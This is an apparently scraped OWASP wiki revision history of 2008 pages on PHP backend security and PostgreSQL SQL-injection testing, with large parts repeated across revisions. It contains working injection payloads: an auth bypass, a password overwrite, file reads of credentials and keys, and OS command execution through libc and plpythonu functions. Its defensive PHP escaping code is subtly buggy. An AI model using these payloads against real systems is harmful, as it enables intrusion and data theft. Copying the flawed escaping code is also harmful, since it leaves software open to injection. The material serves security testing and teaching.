''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>'''<br />
<br />
''magic_quotes_gpc'' should never be used since:<br />
<br />
* only GET/POST/COOKIE data are escaped in served HTTP Request<br />
* it doesn't guarantee compatibility between different DBMS<br />
<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function so you need to escape every ''<nowiki>'</nowiki>'' with ''<nowiki>''</nowiki>'' by using your own escapeing function or ''addslashes()''.<br />
<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Include file handling ===<br />
<br />
=== Prepared Statements ===<br />
<br />
=== Data Validation ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== Data Validation ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30037OWASP Backend Security Project PHP Security Programming2008-05-29T20:58:40Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup on his laptop your Database content, or even worst can spawn a remote shell into it.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>'''<br />
<br />
''magic_quotes_gpc'' should never be used since:<br />
<br />
* only GET/POST/COOKIE data are escaped in served HTTP Request<br />
* it doesn't guarantee compatibility between different DBMS<br />
<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function so you need to escape every ''<nowiki>'</nowiki>'' with ''<nowiki>''</nowiki>'' by using your own escapeing function or ''addslashes()''.<br />
<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
=== Data Validation ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== Data Validation ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=29955OWASP Backend Security Project PHP Security Programming2008-05-28T22:21:58Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Such a credentials are stored on a backend Database Server whose connection parameters are stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
=== Escaping Quotes ===<br />
<br />
=== Prepared Statements ===<br />
<br />
=== Data Validation ===<br />
<br />
=== Detecting Intrusions from WEBAPP ===<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== Data Validation ===<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29922OWASP Backend Security Project Testing PostgreSQL2008-05-27T21:22:34Z<p>Dbellucci: </p>
<hr />
<div>= Short Description of the Issue =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
Keep in mind the following peculiarities:<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
<br />
= Black Box testing and example =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using ''::'' cast operator.<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
<br />
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote unescape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Current User ===<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
=== Current Database ===<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside<br />
DBMS data directory.<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Network Reconnaissance ===<br />
<br />
=== Linking DB ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29914OWASP Backend Security Project Testing PostgreSQL2008-05-27T19:16:49Z<p>Dbellucci: </p>
<hr />
<div>= Short Description of the Issue =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
Keep in mind the following peculiarities:<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
<br />
= Black Box testing and example =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using ''::'' cast operator.<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
<br />
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote unescape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Current User ===<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
=== Current Database ===<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside<br />
DBMS data directory.<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Network Reconnaissance ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29913OWASP Backend Security Project Testing PostgreSQL2008-05-27T19:15:04Z<p>Dbellucci: </p>
<hr />
<div>= Short Description of the Issue =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
Keep in mind the following peculiarities:<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
<br />
= Black Box testing and example =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using ''::'' cast operator.<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
<br />
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote unescape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Current User ===<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
